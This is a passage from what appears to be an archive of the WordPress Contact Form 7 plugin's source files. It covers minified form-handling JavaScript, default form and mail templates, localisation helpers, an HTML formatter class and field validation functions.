a=e.querySelector('input[type="checkbox"]');(e.classList.contains("invert")&&a.checked||!e.classList.contains("invert")&&!a.checked)&&(t=!1)})),e.querySelectorAll(".wpcf7-submit").forEach((e=>{e.disabled=!t}))};t(),e.addEventListener("change",(e=>{t()})),e.addEventListener("wpcf7reset",(e=>{t()}))})(e),(e=>{const a=(e,a)=>{const n=t(e.getAttribute("data-starting-value")),r=t(e.getAttribute("data-maximum-value")),c=t(e.getAttribute("data-minimum-value")),o=e.classList.contains("down")?n-a.value.trim().length:a.value.trim().length;e.setAttribute("data-current-value",o),e.innerText=o,r&&r<a.value.length?e.classList.add("too-long"):e.classList.remove("too-long"),c&&a.value.length<c?e.classList.add("too-short"):e.classList.remove("too-short")},n=t=>{t={init:!1,...t},e.querySelectorAll(".wpcf7-character-count").forEach((n=>{const r=n.getAttribute("data-target-name"),c=e.querySelector(`[name="${r}"]`);c&&(c.value=c.defaultValue,a(n,c),t.init&&c.addEventListener("keyup",(e=>{a(n,c)})))}))};n({init:!0}),e.addEventListener("wpcf7reset",(e=>{n()}))})(e),window.addEventListener("load",(t=>{wpcf7.cached&&e.reset()})),e.addEventListener("reset",(t=>{wpcf7.reset(e)})),e.addEventListener("submit",(t=>{wpcf7.submit(e,{submitter:t.submitter}),t.preventDefault()})),e.addEventListener("wpcf7submit",(t=>{t.detail.apiResponse.captcha&&u(e,t.detail.apiResponse.captcha),t.detail.apiResponse.quiz&&m(e,t.detail.apiResponse.quiz)})),e.addEventListener("wpcf7reset",(t=>{t.detail.apiResponse.captcha&&u(e,t.detail.apiResponse.captcha),t.detail.apiResponse.quiz&&m(e,t.detail.apiResponse.quiz)})),e.addEventListener("change",(t=>{t.target.closest(".wpcf7-form-control")&&wpcf7.validate(e,{target:t.target})})),e.addEventListener("wpcf7statuschanged",(t=>{const a=t.detail.status;e.querySelectorAll(".active-on-any").forEach((e=>{e.removeAttribute("inert"),e.classList.remove("active-on-any")})),e.querySelectorAll(`.inert-on-${a}`).forEach((e=>{e.setAttribute("inert","inert"),e.classList.add("active-on-any")}))}))}document.addEventListener("DOMContentLoaded",(t=>{var a;if("undefined"!=typeof wpcf7)if(void 0!==wpcf7.api)if("function"==typeof window.fetch)if("function"==typeof window.FormData)if("function"==typeof NodeList.prototype.forEach)if("function"==typeof String.prototype.replaceAll){wpcf7={init:w,submit:p,reset:f,validate:o,schemas:new Map,...null!==(a=wpcf7)&&void 0!==a?a:{}},document.querySelectorAll("form .wpcf7[data-wpcf7-id]").forEach((t=>{const a=document.createElement("p");a.setAttribute("class","wpcf7-form-in-wrong-place");const n=document.createElement("strong");n.append((0,e.__)("Error:","contact-form-7"));const r=(0,e.__)("This contact form is placed in the wrong place.","contact-form-7");a.append(n," ",r),t.replaceWith(a)})),document.querySelectorAll(".wpcf7 > form").forEach((e=>{wpcf7.init(e),e.closest(".wpcf7").classList.replace("no-js","js")}));for(const e of wpcf7.schemas.keys())r({endpoint:`contact-forms/${e}/feedback/schema`,method:"GET"}).then((t=>{wpcf7.schemas.set(e,t)}))}else console.error("Your browser does not support String.replaceAll().");else console.error("Your browser does not support NodeList.forEach().");else console.error("Your browser does not support window.FormData().");else console.error("Your browser does not support window.fetch().");else console.error("wpcf7.api is not defined.");else console.error("wpcf7 is not defined.")}))})();contact-form-7/includes/js/index.asset.php000064400000000140147510273060014464 0ustar00<?php

return array(
	'dependencies' => array(
		'wp-i18n',
	),
	'version' => WPCF7_VERSION,
);
contact-form-7/includes/contact-form-template.php000064400000013302147510273060016034 0ustar00<?php

class WPCF7_ContactFormTemplate {

	public static function get_default( $prop = 'form' ) {
		if ( 'form' == $prop ) {
			$template = self::form();
		} elseif ( 'mail' == $prop ) {
			$template = self::mail();
		} elseif ( 'mail_2' == $prop ) {
			$template = self::mail_2();
		} elseif ( 'messages' == $prop ) {
			$template = self::messages();
		} else {
			$template = null;
		}

		return apply_filters( 'wpcf7_default_template', $template, $prop );
	}

	public static function form() {
		$template = sprintf(
			'
<label> %2$s
    [text* your-name autocomplete:name] </label>

<label> %3$s
    [email* your-email autocomplete:email] </label>

<label> %4$s
    [text* your-subject] </label>

<label> %5$s %1$s
    [textarea your-message] </label>

[submit "%6$s"]',
			__( '(optional)', 'contact-form-7' ),
			__( 'Your name', 'contact-form-7' ),
			__( 'Your email', 'contact-form-7' ),
			__( 'Subject', 'contact-form-7' ),
			__( 'Your message', 'contact-form-7' ),
			__( 'Submit', 'contact-form-7' )
		);

		return trim( $template );
	}

	public static function mail() {
		$template = array(
			'subject' => sprintf(
				/* translators: 1: blog name, 2: [your-subject] */
				_x( '%1$s "%2$s"', 'mail subject', 'contact-form-7' ),
				'[_site_title]',
				'[your-subject]'
			),
			'sender' => sprintf(
				'%s <%s>',
				'[_site_title]',
				self::from_email()
			),
			'body' =>
				sprintf(
					/* translators: %s: [your-name] [your-email] */
					__( 'From: %s', 'contact-form-7' ),
					'[your-name] [your-email]'
				) . "\n"
				. sprintf(
					/* translators: %s: [your-subject] */
					__( 'Subject: %s', 'contact-form-7' ),
					'[your-subject]'
				) . "\n\n"
				. __( 'Message Body:', 'contact-form-7' )
				. "\n" . '[your-message]' . "\n\n"
				. '-- ' . "\n"
				. sprintf(
					/* translators: 1: blog name, 2: blog URL */
					__( 'This is a notification that a contact form was submitted on your website (%1$s %2$s).', 'contact-form-7' ),
					'[_site_title]',
					'[_site_url]'
				),
			'recipient' => '[_site_admin_email]',
			'additional_headers' => 'Reply-To: [your-email]',
			'attachments' => '',
			'use_html' => 0,
			'exclude_blank' => 0,
		);

		return $template;
	}

	public static function mail_2() {
		$template = array(
			'active' => false,
			'subject' => sprintf(
				/* translators: 1: blog name, 2: [your-subject] */
				_x( '%1$s "%2$s"', 'mail subject', 'contact-form-7' ),
				'[_site_title]',
				'[your-subject]'
			),
			'sender' => sprintf(
				'%s <%s>',
				'[_site_title]',
				self::from_email()
			),
			'body' =>
				__( 'Message Body:', 'contact-form-7' )
				. "\n" . '[your-message]' . "\n\n"
				. '-- ' . "\n"
				. sprintf(
					/* translators: 1: blog name, 2: blog URL */
					__( 'This email is a receipt for your contact form submission on our website (%1$s %2$s) in which your email address was used. If that was not you, please ignore this message.', 'contact-form-7' ),
					'[_site_title]',
					'[_site_url]'
				),
			'recipient' => '[your-email]',
			'additional_headers' => sprintf(
				'Reply-To: %s',
				'[_site_admin_email]'
			),
			'attachments' => '',
			'use_html' => 0,
			'exclude_blank' => 0,
		);

		return $template;
	}

	public static function from_email() {
		$admin_email = get_option( 'admin_email' );

		if ( wpcf7_is_localhost() ) {
			return $admin_email;
		}

		$sitename = wp_parse_url( network_home_url(), PHP_URL_HOST );
		$sitename = strtolower( $sitename );

		if ( 'www.' === substr( $sitename, 0, 4 ) ) {
			$sitename = substr( $sitename, 4 );
		}

		if ( strpbrk( $admin_email, '@' ) === '@' . $sitename ) {
			return $admin_email;
		}

		return 'wordpress@' . $sitename;
	}

	public static function messages() {
		$messages = array();

		foreach ( wpcf7_messages() as $key => $arr ) {
			$messages[$key] = $arr['default'];
		}

		return $messages;
	}
}

function wpcf7_messages() {
	$messages = array(
		'mail_sent_ok' => array(
			'description'
				=> __( "Sender's message was sent successfully", 'contact-form-7' ),
			'default'
				=> __( "Thank you for your message. It has been sent.", 'contact-form-7' ),
		),

		'mail_sent_ng' => array(
			'description'
				=> __( "Sender's message failed to send", 'contact-form-7' ),
			'default'
				=> __( "There was an error trying to send your message. Please try again later.", 'contact-form-7' ),
		),

		'validation_error' => array(
			'description'
				=> __( "Validation errors occurred", 'contact-form-7' ),
			'default'
				=> __( "One or more fields have an error. Please check and try again.", 'contact-form-7' ),
		),

		'spam' => array(
			'description'
				=> __( "Submission was referred to as spam", 'contact-form-7' ),
			'default'
				=> __( "There was an error trying to send your message. Please try again later.", 'contact-form-7' ),
		),

		'accept_terms' => array(
			'description'
				=> __( "There are terms that the sender must accept", 'contact-form-7' ),
			'default'
				=> __( "You must accept the terms and conditions before sending your message.", 'contact-form-7' ),
		),

		'invalid_required' => array(
			'description'
				=> __( "There is a field that the sender must fill in", 'contact-form-7' ),
			'default'
				=> __( "Please fill out this field.", 'contact-form-7' ),
		),

		'invalid_too_long' => array(
			'description'
				=> __( "There is a field with input that is longer than the maximum allowed length", 'contact-form-7' ),
			'default'
				=> __( "This field has a too long input.", 'contact-form-7' ),
		),

		'invalid_too_short' => array(
			'description'
				=> __( "There is a field with input that is shorter than the minimum allowed length", 'contact-form-7' ),
			'default'
				=> __( "This field has a too short input.", 'contact-form-7' ),
		),
	);

	return apply_filters( 'wpcf7_messages', $messages );
}
contact-form-7/includes/l10n.php000064400000006576147510273060012420 0ustar00<?php

/**
 * Retrieves an associative array of languages to which
 * this plugin is translated.
 *
 * @return array Array of languages.
 */
function wpcf7_l10n() {
	static $l10n = array();

	if ( ! empty( $l10n ) ) {
		return $l10n;
	}

	if ( ! is_admin() ) {
		return $l10n;
	}

	require_once( ABSPATH . 'wp-admin/includes/translation-install.php' );

	$api = translations_api( 'plugins', array(
		'slug' => 'contact-form-7',
		'version' => WPCF7_VERSION,
	) );

	if ( is_wp_error( $api )
	or empty( $api['translations'] ) ) {
		return $l10n;
	}

	foreach ( (array) $api['translations'] as $translation ) {
		if ( ! empty( $translation['language'] )
		and ! empty( $translation['english_name'] ) ) {
			$l10n[$translation['language']] = $translation['english_name'];
		}
	}

	return $l10n;
}


/**
 * Returns true if the given locale code looks valid.
 *
 * @param string $locale Locale code.
 */
function wpcf7_is_valid_locale( $locale ) {
	if ( ! is_string( $locale ) ) {
		return false;
	}

	$pattern = '/^[a-z]{2,3}(?:_[a-zA-Z_]{2,})?$/';
	return (bool) preg_match( $pattern, $locale );
}


/**
 * Returns true if the given locale is an RTL language.
 */
function wpcf7_is_rtl( $locale = '' ) {
	static $rtl_locales = array(
		'ar' => 'Arabic',
		'ary' => 'Moroccan Arabic',
		'azb' => 'South Azerbaijani',
		'fa_IR' => 'Persian',
		'haz' => 'Hazaragi',
		'he_IL' => 'Hebrew',
		'ps' => 'Pashto',
		'ug_CN' => 'Uighur',
	);

	if ( empty( $locale )
	and function_exists( 'is_rtl' ) ) {
		return is_rtl();
	}

	if ( empty( $locale ) ) {
		$locale = determine_locale();
	}

	return isset( $rtl_locales[$locale] );
}


/**
 * Loads a translation file into the plugin's text domain.
 *
 * @param string $locale Locale code.
 * @return bool True on success, false on failure.
 */
function wpcf7_load_textdomain( $locale = '' ) {
	$mofile = path_join(
		WP_LANG_DIR . '/plugins/',
		sprintf( '%s-%s.mo', WPCF7_TEXT_DOMAIN, $locale )
	);

	return load_textdomain( WPCF7_TEXT_DOMAIN, $mofile, $locale );
}


/**
 * Unloads translations for the plugin's text domain.
 *
 * @param bool $reloadable Whether the text domain can be loaded
 *             just-in-time again.
 * @return bool True on success, false on failure.
 */
function wpcf7_unload_textdomain( $reloadable = false ) {
	return unload_textdomain( WPCF7_TEXT_DOMAIN, $reloadable );
}


/**
 * Switches translation locale, calls the callback, then switches back
 * to the original locale.
 *
 * @param string $locale Locale code.
 * @param callable $callback The callable to be called.
 * @param mixed $args Parameters to be passed to the callback.
 * @return mixed The return value of the callback.
 */
function wpcf7_switch_locale( $locale, callable $callback, ...$args ) {
	static $available_locales = null;

	if ( ! isset( $available_locales ) ) {
		$available_locales = array_merge(
			array( 'en_US' ),
			get_available_languages()
		);
	}

	$previous_locale = determine_locale();

	$do_switch_locale = (
		$locale !== $previous_locale &&
		in_array( $locale, $available_locales, true ) &&
		in_array( $previous_locale, $available_locales, true )
	);

	if ( $do_switch_locale ) {
		wpcf7_unload_textdomain();
		switch_to_locale( $locale );
		wpcf7_load_textdomain( $locale );
	}

	$result = call_user_func( $callback, ...$args );

	if ( $do_switch_locale ) {
		wpcf7_unload_textdomain( true );
		restore_previous_locale();
		wpcf7_load_textdomain( $previous_locale );
	}

	return $result;
}
contact-form-7/includes/html-formatter.php000064400000040511147510273060014576 0ustar00<?php

/**
 * Contact Form 7's class used for formatting HTML fragments.
 */
class WPCF7_HTMLFormatter {

	// HTML component types.
	const text = 0;
	const start_tag = 1;
	const end_tag = 2;
	const comment = 3;

	/**
	 * Tag name reserved for a custom HTML element used as a block placeholder.
	 */
	const placeholder_block = 'placeholder:block';

	/**
	 * Tag name reserved for a custom HTML element used as an inline placeholder.
	 */
	const placeholder_inline = 'placeholder:inline';

	/**
	 * The void elements in HTML.
	 *
	 * @link https://developer.mozilla.org/en-US/docs/Glossary/Void_element
	 */
	const void_elements = array(
		'area', 'base', 'br', 'col', 'embed', 'hr', 'img', 'input',
		'keygen', 'link', 'meta', 'param', 'source', 'track', 'wbr',
		self::placeholder_block, self::placeholder_inline,
	);

	/**
	 * HTML elements that can contain flow content.
	 */
	const p_parent_elements = array(
		'address', 'article', 'aside', 'blockquote', 'body', 'caption',
		'dd', 'details', 'dialog', 'div', 'dt', 'fieldset', 'figcaption',
		'figure', 'footer', 'form', 'header', 'li', 'main', 'nav',
		'section', 'td', 'th',
	);

	/**
	 * HTML elements that can be neither the parent nor a child of
	 * a paragraph element.
	 */
	const p_nonparent_elements = array(
		'colgroup', 'dl', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'head',
		'hgroup', 'html', 'legend', 'menu', 'ol', 'pre', 'style', 'summary',
		'table', 'tbody', 'template', 'tfoot', 'thead', 'title', 'tr', 'ul',
	);

	/**
	 * HTML elements in the phrasing content category, plus non-phrasing
	 * content elements that can be grandchildren of a paragraph element.
	 */
	const p_child_elements = array(
		'a', 'abbr', 'area', 'audio', 'b', 'bdi', 'bdo', 'br', 'button',
		'canvas', 'cite', 'code', 'data', 'datalist', 'del', 'dfn',
		'em', 'embed', 'i', 'iframe', 'img', 'input', 'ins', 'kbd',
		'keygen', 'label', 'link', 'map', 'mark', 'meta',
		'meter', 'noscript', 'object', 'output', 'picture', 'progress',
		'q', 'ruby', 's', 'samp', 'script', 'select', 'slot', 'small',
		'span', 'strong', 'sub', 'sup', 'textarea',
		'time', 'u', 'var', 'video', 'wbr',
		'optgroup', 'option', 'rp', 'rt', // non-phrasing grandchildren
		self::placeholder_inline,
	);

	/**
	 * HTML elements that can contain phrasing content.
	 */
	const br_parent_elements = array(
		'a', 'abbr', 'address', 'article', 'aside', 'audio', 'b', 'bdi',
		'bdo', 'blockquote', 'button', 'canvas', 'caption', 'cite', 'code',
		'data', 'datalist', 'dd', 'del', 'details', 'dfn', 'dialog', 'div',
		'dt', 'em', 'fieldset', 'figcaption', 'figure', 'footer', 'form',
		'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'header', 'i', 'ins', 'kbd',
		'label', 'legend', 'li', 'main', 'map', 'mark', 'meter', 'nav',
		'noscript', 'object', 'output', 'p', 'progress', 'q', 'rt',
		'ruby', 's', 'samp', 'section', 'slot', 'small', 'span', 'strong',
		'sub', 'summary', 'sup', 'td', 'th', 'time', 'u', 'var',
		'video',
	);


	// Properties.
	private $options = array();
	private $stacked_elements = array();
	private $output = '';


	/**
	 * Constructor.
	 */
	public function __construct( $options = '' ) {
		$this->options = wp_parse_args( $options, array(
			'auto_br' => true,
			'auto_indent' => true,
		) );
	}


	/**
	 * Separates the given text into chunks of HTML. Each chunk must be an
	 * associative array that includes 'position', 'type', and 'content' keys.
	 *
	 * @param string $input Text to be separated into chunks.
	 * @return iterable Iterable of chunks.
	 */
	public function separate_into_chunks( $input ) {
		$input_bytelength = strlen( $input );
		$position = 0;

		while ( $position < $input_bytelength ) {
			$next_tag = preg_match(
				'/(?:<!--.*?-->|<(?:\/?)[a-z].*?>)/is',
				$input,
				$matches,
				PREG_OFFSET_CAPTURE,
				$position
			);

			if ( ! $next_tag ) {
				yield array(
					'position' => $position,
					'type' => self::text,
					'content' => substr( $input, $position ),
				);

				break;
			}

			$next_tag = $matches[0][0];
			$next_tag_position = $matches[0][1];

			if ( $position < $next_tag_position ) {
				yield array(
					'position' => $position,
					'type' => self::text,
					'content' => substr(
						$input,
						$position,
						$next_tag_position - $position
					),
				);
			}

			if ( '<!' === substr( $next_tag, 0, 2 ) ) {
				$next_tag_type = self::comment;
			} elseif ( '</' === substr( $next_tag, 0, 2 ) ) {
				$next_tag_type = self::end_tag;
			} else {
				$next_tag_type = self::start_tag;
			}

			yield array(
				'position' => $next_tag_position,
				'type' => $next_tag_type,
				'content' => substr(
					$input,
					$next_tag_position,
					strlen( $next_tag )
				),
			);

			$position = $next_tag_position + strlen( $next_tag );
		}
	}


	/**
	 * Normalizes content in each chunk. This may change the type and position
	 * of the chunk.
	 *
	 * @param iterable $chunks The original chunks.
	 * @return iterable Normalized chunks.
	 */
	public function pre_format( $chunks ) {
		$position = 0;

		foreach ( $chunks as $chunk ) {
			$chunk['position'] = $position;

			// Standardize newline characters to "\n".
			$chunk['content'] = str_replace(
				array( "\r\n", "\r" ), "\n", $chunk['content']
			);

			if ( $chunk['type'] === self::start_tag ) {
				list( $chunk['content'] ) =
					self::normalize_start_tag( $chunk['content'] );

				// Replace <br /> by a line break.
				if (
					$this->options['auto_br'] and
					preg_match( '/^<br\s*\/?>$/i', $chunk['content'] )
				) {
					$chunk['type'] = self::text;
					$chunk['content'] = "\n";
				}
			}

			yield $chunk;
			$position = self::calc_next_position( $chunk );
		}
	}


	/**
	 * Concatenates neighboring text chunks to create a single chunk.
	 *
	 * @param iterable $chunks The original chunks.
	 * @return iterable Processed chunks.
	 */
	public function concatenate_texts( $chunks ) {
		$position = 0;
		$text_left = null;

		foreach ( $chunks as $chunk ) {
			$chunk['position'] = $position;

			if ( $chunk['type'] === self::text ) {
				if ( isset( $text_left ) ) {
					$text_left['content'] .= $chunk['content'];
				} else {
					$text_left = $chunk;
				}

				continue;
			}

			if ( isset( $text_left ) ) {
				yield $text_left;
				$chunk['position'] = self::calc_next_position( $text_left );
				$text_left = null;
			}

			yield $chunk;
			$position = self::calc_next_position( $chunk );
		}

		if ( isset( $text_left ) ) {
			yield $text_left;
		}
	}


	/**
	 * Outputs formatted HTML based on the given chunks.
	 *
	 * @param iterable $chunks The original chunks.
	 * @return string Formatted HTML.
	 */
	public function format( $chunks ) {
		$chunks = $this->pre_format( $chunks );
		$chunks = $this->concatenate_texts( $chunks );

		$this->output = '';
		$this->stacked_elements = array();

		foreach ( $chunks as $chunk ) {

			if ( $chunk['type'] === self::text ) {
				$this->append_text( $chunk['content'] );
			}

			if ( $chunk['type'] === self::start_tag ) {
				$this->start_tag( $chunk['content'] );
			}

			if ( $chunk['type'] === self::end_tag ) {
				$this->end_tag( $chunk['content'] );
			}

			if ( $chunk['type'] === self::comment ) {
				$this->append_comment( $chunk['content'] );
			}
		}

		// Close all remaining tags.
		$this->close_all_tags();

		return $this->output;
	}


	/**
	 * Appends a text node content to the output property.
	 *
	 * @param string $content Text node content.
	 */
	public function append_text( $content ) {
		if ( $this->is_inside( array( 'pre', 'template' ) ) ) {
			$this->output .= $content;
			return;
		}

		if (
			empty( $this->stacked_elements ) or
			$this->has_parent( 'p' ) or
			$this->has_parent( self::p_parent_elements )
		) {
			// Close <p> if the content starts with multiple line breaks.
			if ( preg_match( '/^\s*\n\s*\n\s*/', $content ) ) {
				$this->end_tag( 'p' );
			}

			// Split up the contents into paragraphs, separated by double line breaks.
			$paragraphs = preg_split( '/\s*\n\s*\n\s*/', $content );

			$paragraphs = array_filter( $paragraphs, static function ( $paragraph ) {
				return '' !== trim( $paragraph );
			} );

			$paragraphs = array_values( $paragraphs );

			if ( $paragraphs ) {
				if ( $this->is_inside( 'p' ) ) {
					$paragraph = array_shift( $paragraphs );

					$paragraph = self::normalize_paragraph(
						$paragraph,
						$this->options['auto_br']
					);

					$this->output .= $paragraph;
				}

				foreach ( $paragraphs as $paragraph ) {
					$this->start_tag( 'p' );

					$paragraph = ltrim( $paragraph );

					$paragraph = self::normalize_paragraph(
						$paragraph,
						$this->options['auto_br']
					);

					$this->output .= $paragraph;
				}
			}

			// Close <p> if the content ends with multiple line breaks.
			if ( preg_match( '/\s*\n\s*\n\s*$/', $content ) ) {
				$this->end_tag( 'p' );
			}

			// Cases where the content is a single line break.
			if ( preg_match( '/^\s*\n\s*$/', $content ) ) {
				$auto_br = $this->options['auto_br'] && $this->is_inside( 'p' );

				$content = self::normalize_paragraph( $content, $auto_br );

				$this->output .= $content;
			}
		} else {
			$auto_br = $this->options['auto_br'] &&
				$this->has_parent( self::br_parent_elements );

			$content = self::normalize_paragraph( $content, $auto_br );

			$this->output .= $content;
		}
	}


	/**
	 * Appends a start tag to the output property.
	 *
	 * @param string $tag A start tag.
	 */
	public function start_tag( $tag ) {
		list( $tag, $tag_name ) = self::normalize_start_tag( $tag );

		if ( in_array( $tag_name, self::p_child_elements ) ) {
			if (
				! $this->is_inside( 'p' ) and
				! $this->is_inside( self::p_child_elements ) and
				! $this->has_parent( self::p_nonparent_elements )
			) {
				// Open <p> if it does not exist.
				$this->start_tag( 'p' );
			}
		} elseif (
			'p' === $tag_name or
			in_array( $tag_name, self::p_parent_elements ) or
			in_array( $tag_name, self::p_nonparent_elements )
		) {
			// Close <p> if it exists.
			$this->end_tag( 'p' );
		}

		if ( 'dd' === $tag_name or 'dt' === $tag_name ) {
			// Close <dd> and <dt> if closing tag is omitted.
			$this->end_tag( 'dd' );
			$this->end_tag( 'dt' );
		}

		if ( 'li' === $tag_name ) {
			// Close <li> if closing tag is omitted.
			$this->end_tag( 'li' );
		}

		if ( 'optgroup' === $tag_name ) {
			// Close <option> and <optgroup> if closing tag is omitted.
			$this->end_tag( 'option' );
			$this->end_tag( 'optgroup' );
		}

		if ( 'option' === $tag_name ) {
			// Close <option> if closing tag is omitted.
			$this->end_tag( 'option' );
		}

		if ( 'rp' === $tag_name or 'rt' === $tag_name ) {
			// Close <rp> and <rt> if closing tag is omitted.
			$this->end_tag( 'rp' );
			$this->end_tag( 'rt' );
		}

		if ( 'td' === $tag_name or 'th' === $tag_name ) {
			// Close <td> and <th> if closing tag is omitted.
			$this->end_tag( 'td' );
			$this->end_tag( 'th' );
		}

		if ( 'tr' === $tag_name ) {
			// Close <tr> if closing tag is omitted.
			$this->end_tag( 'tr' );
		}

		if ( 'tbody' === $tag_name or 'tfoot' === $tag_name ) {
			// Close <thead> if closing tag is omitted.
			$this->end_tag( 'thead' );
		}

		if ( 'tfoot' === $tag_name ) {
			// Close <tbody> if closing tag is omitted.
			$this->end_tag( 'tbody' );
		}

		if ( ! in_array( $tag_name, self::void_elements ) ) {
			array_unshift( $this->stacked_elements, $tag_name );
		}

		if ( ! in_array( $tag_name, self::p_child_elements ) ) {
			if ( '' !== $this->output ) {
				$this->output = rtrim( $this->output ) . "\n";
			}

			if ( $this->options['auto_indent'] ) {
				$this->output .= self::indent( count( $this->stacked_elements ) - 1 );
			}
		}

		$this->output .= $tag;
	}


	/**
	 * Closes an element and its open descendants at a time.
	 *
	 * @param string $tag An end tag.
	 */
	public function end_tag( $tag ) {
		if ( preg_match( '/<\/(.+?)(?:\s|>)/', $tag, $matches ) ) {
			$tag_name = strtolower( $matches[1] );
		} else {
			$tag_name = strtolower( $tag );
		}

		$stacked_elements = array_values( $this->stacked_elements );

		$tag_position = array_search( $tag_name, $stacked_elements );

		if ( false === $tag_position ) {
			return;
		}

		// Element groups that make up an indirect nesting structure.
		// Descendant can contain ancestors.
		static $nesting_families = array(
			array(
				'ancestors' => array( 'dl', ),
				'descendants' => array( 'dd', 'dt', ),
			),
			array(
				'ancestors' => array( 'ol', 'ul', 'menu', ),
				'descendants' => array( 'li', ),
			),
			array(
				'ancestors' => array( 'table', ),
				'descendants' => array( 'td', 'th', 'tr', 'thead', 'tbody', 'tfoot', ),
			),
		);

		foreach ( $nesting_families as $family ) {
			$ancestors = (array) $family['ancestors'];
			$descendants = (array) $family['descendants'];

			if ( in_array( $tag_name, $descendants ) ) {
				$intersect = array_intersect(
					$ancestors,
					array_slice( $stacked_elements, 0, $tag_position )
				);

				if ( $intersect ) { // Ancestor appears after descendant.
					return;
				}
			}
		}

		while ( $element = array_shift( $this->stacked_elements ) ) {
			$this->append_end_tag( $element );

			if ( $element === $tag_name ) {
				break;
			}
		}
	}


	/**
	 * Closes all open tags.
	 */
	public function close_all_tags() {
		while ( $element = array_shift( $this->stacked_elements ) ) {
			$this->append_end_tag( $element );
		}
	}


	/**
	 * Appends an end tag to the output property.
	 *
	 * @param string $tag_name Tag name.
	 */
	public function append_end_tag( $tag_name ) {
		if ( ! in_array( $tag_name, self::p_child_elements ) ) {
			// Remove unnecessary <br />.
			$this->output = preg_replace( '/\s*<br \/>\s*$/', '', $this->output );

			$this->output = rtrim( $this->output ) . "\n";

			if ( $this->options['auto_indent'] ) {
				$this->output .= self::indent( count( $this->stacked_elements ) );
			}
		}

		$this->output .= sprintf( '</%s>', $tag_name );

		// Remove trailing <p></p>.
		$this->output = preg_replace( '/<p>\s*<\/p>$/', '', $this->output );
	}


	/**
	 * Appends an HTML comment to the output property.
	 *
	 * @param string $tag An HTML comment.
	 */
	public function append_comment( $tag ) {
		$this->output .= $tag;
	}


	/**
	 * Returns true if it is currently inside one of HTML elements specified
	 * by tag names.
	 *
	 * @param string|array $tag_names A tag name or an array of tag names.
	 */
	public function is_inside( $tag_names ) {
		$tag_names = (array) $tag_names;

		foreach ( $this->stacked_elements as $element ) {
			if ( in_array( $element, $tag_names ) ) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Returns true if the parent node is one of HTML elements specified
	 * by tag names.
	 *
	 * @param string|array $tag_names A tag name or an array of tag names.
	 */
	public function has_parent( $tag_names ) {
		$tag_names = (array) $tag_names;

		$parent = reset( $this->stacked_elements );

		if ( false === $parent ) {
			return false;
		}

		return in_array( $parent, $tag_names );
	}


	/**
	 * Calculates the position of the next chunk based on the position and
	 * length of the current chunk.
	 *
	 * @param array $chunk An associative array of the current chunk.
	 * @return int The position of the next chunk.
	 */
	public static function calc_next_position( $chunk ) {
		return $chunk['position'] + strlen( $chunk['content'] );
	}


	/**
	 * Outputs a set of tabs to indent.
	 *
	 * @param int $level Indentation level.
	 * @return string A series of tabs.
	 */
	public static function indent( $level ) {
		$level = (int) $level;

		if ( 0 < $level ) {
			return str_repeat( "\t", $level );
		}

		return '';
	}


	/**
	 * Normalizes a start tag.
	 *
	 * @param string $tag A start tag or a tag name.
	 * @return array An array includes the normalized start tag and tag name.
	 */
	public static function normalize_start_tag( $tag ) {
		if ( preg_match( '/<(.+?)[\s\/>]/', $tag, $matches ) ) {
			$tag_name = strtolower( $matches[1] );
		} else {
			$tag_name = strtolower( $tag );
			$tag = sprintf( '<%s>', $tag_name );
		}

		if ( in_array( $tag_name, self::void_elements ) ) {
			// Normalize void element.
			$tag = preg_replace( '/\s*\/?>/', ' />', $tag );
		}

		return array( $tag, $tag_name );
	}


	/**
	 * Normalizes a paragraph of text.
	 *
	 * @param string $paragraph A paragraph of text.
	 * @param bool $auto_br Optional. If true, line breaks will be replaced
	 *             by a br element.
	 * @return string The normalized paragraph.
	 */
	public static function normalize_paragraph( $paragraph, $auto_br = false ) {
		if ( $auto_br ) {
			$paragraph = preg_replace( '/\s*\n\s*/', "<br />\n", $paragraph );
		}

		$paragraph = preg_replace( '/[ ]+/', " ", $paragraph );

		return $paragraph;
	}

}
contact-form-7/includes/validation-functions.php000064400000015245147510273060015777 0ustar00<?php

/**
 * Checks whether a string is a valid NAME token.
 *
 * ID and NAME tokens must begin with a letter ([A-Za-z])
 * and may be followed by any number of letters, digits ([0-9]),
 * hyphens ("-"), underscores ("_"), colons (":"), and periods (".").
 *
 * @link http://www.w3.org/TR/html401/types.html#h-6.2
 *
 * @return bool True if it is a valid name, false if not.
 */
function wpcf7_is_name( $text ) {
	return preg_match( '/^[A-Za-z][-A-Za-z0-9_:.]*$/', $text );
}


/**
 * Checks whether the given text is a well-formed email address.
 */
function wpcf7_is_email( $text ) {
	$result = is_email( $text );
	return apply_filters( 'wpcf7_is_email', $result, $text );
}


/**
 * Checks whether the given text is a well-formed URL.
 */
function wpcf7_is_url( $text ) {
	$scheme = wp_parse_url( $text, PHP_URL_SCHEME );
	$result = $scheme && in_array( $scheme, wp_allowed_protocols(), true );
	return apply_filters( 'wpcf7_is_url', $result, $text );
}


/**
 * Checks whether the given text is a well-formed telephone number.
 */
function wpcf7_is_tel( $text ) {
	$text = preg_replace( '/[#*].*$/', '', $text ); // Remove extension
	$text = preg_replace( '%[()/.*#\s-]+%', '', $text );

	$is_international = false ||
		str_starts_with( $text, '+' ) ||
		str_starts_with( $text, '00' );

	if ( $is_international ) {
		$text = '+' . preg_replace( '/^[+0]+/', '', $text );
	}

	$result = true;

	if ( ! preg_match( '/^[+]?[0-9]+$/', $text ) ) {
		$result = false;
	}

	if ( ! ( 6 < strlen( $text ) and strlen( $text ) < 16 ) ) {
		$result = false;
	}

	return apply_filters( 'wpcf7_is_tel', $result, $text );
}


/**
 * Checks whether the given text is a well-formed number.
 *
 * @link https://html.spec.whatwg.org/multipage/input.html#number-state-(type=number)
 */
function wpcf7_is_number( $text ) {
	$result = false;

	$patterns = array(
		'/^[-]?[0-9]+(?:[eE][+-]?[0-9]+)?$/',
		'/^[-]?(?:[0-9]+)?[.][0-9]+(?:[eE][+-]?[0-9]+)?$/',
	);

	foreach ( $patterns as $pattern ) {
		if ( preg_match( $pattern, $text ) ) {
			$result = true;
			break;
		}
	}

	return apply_filters( 'wpcf7_is_number', $result, $text );
}


/**
 * Checks whether the given text is a valid date.
 *
 * @link https://html.spec.whatwg.org/multipage/input.html#date-state-(type=date)
 */
function wpcf7_is_date( $text ) {
	$result = preg_match(
		'/^([0-9]{4,})-([0-9]{2})-([0-9]{2})$/',
		$text,
		$matches
	);

	if ( $result ) {
		$result = checkdate( $matches[2], $matches[3], $matches[1] );
	}

	return apply_filters( 'wpcf7_is_date', $result, $text );
}


/**
